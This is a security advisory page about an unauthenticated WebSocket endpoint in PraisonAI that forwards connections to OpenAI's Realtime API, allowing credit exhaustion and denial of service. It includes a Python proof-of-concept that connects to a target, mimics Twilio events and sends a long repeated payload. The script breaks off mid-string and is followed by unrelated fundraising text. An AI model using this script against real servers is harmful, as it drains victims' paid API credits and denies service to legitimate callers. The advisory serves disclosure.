PraisonAI Unauthenticated WebSocket Proxy to OpenAI Realtime API Causing API Credit Exhaustion

Vulnerability Summary: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits Vulnerability Overview This vulnerability exists in the file. The WebSocket endpoint accepts connections from any client without requiring authentication or signature verification. Each connection opens an authenticated session on OpenAI's Realtime API using the server's API key. The endpoint lacks limits on the number of connections, message rate, or message size, allowing an attacker to exhaust server resources and deplete the victim's OpenAI API credits. Impact Scope Affected Versions: CVSS Score: 7.5 / 10 (High) Specific Hazards: 1. OpenAI API Credit Exhaustion: Every unauthenticated WebSocket connection opens a billable OpenAI Realtime API session. The Realtime API charges per second of audio, which can lead to significant financial loss. 2. Denial of Service (DoS): When server resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections, legitimate Twilio callers will be unable to access the service. 3. Server Memory Exhaustion**: Due to the lack of message size limits (defaulting to 10MB) and connection limits, an attacker can consume server memory by sending a large volume of high-payload messages. POC Code (Proof of Concept) ```python Step 1: Verify the endpoint is accessible and accepts connections python -c " import asyncio import websockets import json async def test(): async with websockets.connect('ws://TARGET:8000/media-stream') as ws: Send a start event (mimicking Twilio) await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': 'attacker-session-1'} })) Send a media event - this gets forwarded to OpenAI Realtime API await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': '50V668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50v668g9yQ50

Goal Reached Thanks to every supporter — we hit 100%!

PraisonAI Unauthenticated WebSocket Proxy to OpenAI Realtime API Causing API Credit Exhaustion

More from this source